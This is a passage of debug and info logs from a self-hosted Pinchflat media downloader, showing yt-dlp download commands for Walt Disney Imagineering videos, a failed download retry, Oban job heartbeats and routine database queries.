Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/86/4b/864bd3923bc2d6c76b6a81e8a9373c32b51258a4e9bdb4637e6a28a40ea62e15.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:58:52.863 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.169 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:59:22.865 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:31.790 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/86/4b/864bd3923bc2d6c76b6a81e8a9373c32b51258a4e9bdb4637e6a28a40ea62e15.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 14:59:31.790 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 14:59:31.791 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":49748135,"event":"job:exception","queue_time":482784,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:59:52.867 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.170 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:00:22.868 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:52.870 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.171 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:01:22.871 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:52.872 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.172 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:02:22.873 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:52.874 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.173 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:03:22.875 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:52.876 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.174 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:04:22.877 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:52.878 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.175 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:05:22.879 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:52.880 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.176 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:06:22.881 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:52.882 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.177 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:07:22.883 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:52.885 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.178 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:08:22.886 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:52.887 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.179 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:09:22.888 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:52.889 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.180 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:10:22.890 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:52.891 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.181 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:11:22.892 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:52.892 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.182 [info] {"source":"oban","duration":302,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:12:22.894 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:52.895 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.183 [info] {"source":"oban","duration":331,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:13:22.896 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:52.897 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.184 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:14:22.899 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:52.900 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.185 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:15:22.901 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:52.902 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.186 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:16:22.903 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:52.904 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.188 [info] {"source":"oban","duration":412,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:17:22.906 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:52.907 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.188 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:18:22.908 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:52.909 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.189 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:19:22.910 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:52.911 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.190 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:20:22.912 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:52.913 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.191 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:21:22.914 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:52.916 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.192 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:22:22.917 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:52.918 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.193 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:23:22.919 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:52.920 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.195 [info] {"source":"oban","duration":411,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:24:22.921 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:52.922 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.195 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:25:10.822 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1775071510822256053,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 15:25:10.822 [debug] QUERY OK source="media_items" db=0.2ms idle=291.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 15:25:10.822 [info] User scripts lifecyle file either not present or is empty. Skipping. 15:25:10.823 [debug] QUERY OK source="sources" db=0.2ms idle=292.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:25:10.823 [debug] QUERY OK source="media_profiles" db=0.1ms idle=292.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:25:10.824 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 15:25:10.824 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 15:25:10.824 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:25:10.825 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:10.825 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:10.825 [debug] Running yt-dlp command for action: get_downloadable_status 15:25:10.825 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:10.826 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:10.826 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:10.826 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/93/1f/931f39cd92a43e89cc9c7a2fc7fe89192d4bdd2bf6f3c1345fae831be38ac3ee.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:25:15.119 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/93/1f/931f39cd92a43e89cc9c7a2fc7fe89192d4bdd2bf6f3c1345fae831be38ac3ee.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:25:15.119 [debug] Running yt-dlp command for action: download 15:25:15.119 [debug] QUERY OK source="settings" db=0.1ms idle=589.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:15.120 [debug] QUERY OK source="settings" db=0.1ms idle=589.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:15.120 [debug] QUERY OK source="settings" db=0.1ms idle=589.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:15.120 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/88/6e/886e83ed817892cd9b8033914902265bdc75f407996af96fa87c39004ee4cf83.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:25:22.923 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:52.925 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.196 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:26:22.927 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:50.706 [info] GET /sources/3/media/8307/edit 15:26:50.706 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "8307", "source_id" => "3"} Pipelines: [:browser] 15:26:50.707 [debug] QUERY OK source="media_items" db=0.3ms idle=786.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [8307] 15:26:50.707 [debug] QUERY OK source="settings" db=0.0ms idle=176.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:50.707 [debug] QUERY OK source="settings" db=0.1ms idle=176.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:50.708 [debug] QUERY OK source="settings" db=0.1ms idle=177.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:50.709 [info] Sent 200 in 2ms 15:26:51.207 [info] GET /sources/2/media/9394/edit 15:26:51.207 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "9394", "source_id" => "2"} Pipelines: [:browser] 15:26:51.208 [debug] QUERY OK source="media_items" db=0.3ms idle=500.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9394] 15:26:51.208 [debug] QUERY OK source="settings" db=0.1ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:51.208 [debug] QUERY OK source="settings" db=0.0ms idle=501.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:51.209 [debug] QUERY OK source="settings" db=0.0ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:51.210 [info] Sent 200 in 2ms 15:26:51.708 [info] GET /sources/3/media/7804/edit 15:26:51.709 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "7804", "source_id" => "3"} Pipelines: [:browser] 15:26:51.709 [debug] QUERY OK source="media_items" db=0.3ms idle=787.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7804] 15:26:51.710 [debug] QUERY OK source="settings" db=0.1ms idle=501.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:51.710 [debug] QUERY OK source="settings" db=0.0ms idle=501.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:51.710 [debug] QUERY OK source="settings" db=0.1ms idle=501.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:51.711 [info] Sent 200 in 2ms 15:26:52.211 [info] GET /sources/3/media/11535 15:26:52.211 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "11535", "source_id" => "3"} Pipelines: [:browser] 15:26:52.212 [debug] QUERY OK source="media_items" db=0.2ms idle=502.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 15:26:52.212 [debug] QUERY OK source="sources" db=0.1ms idle=502.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:26:52.212 [debug] 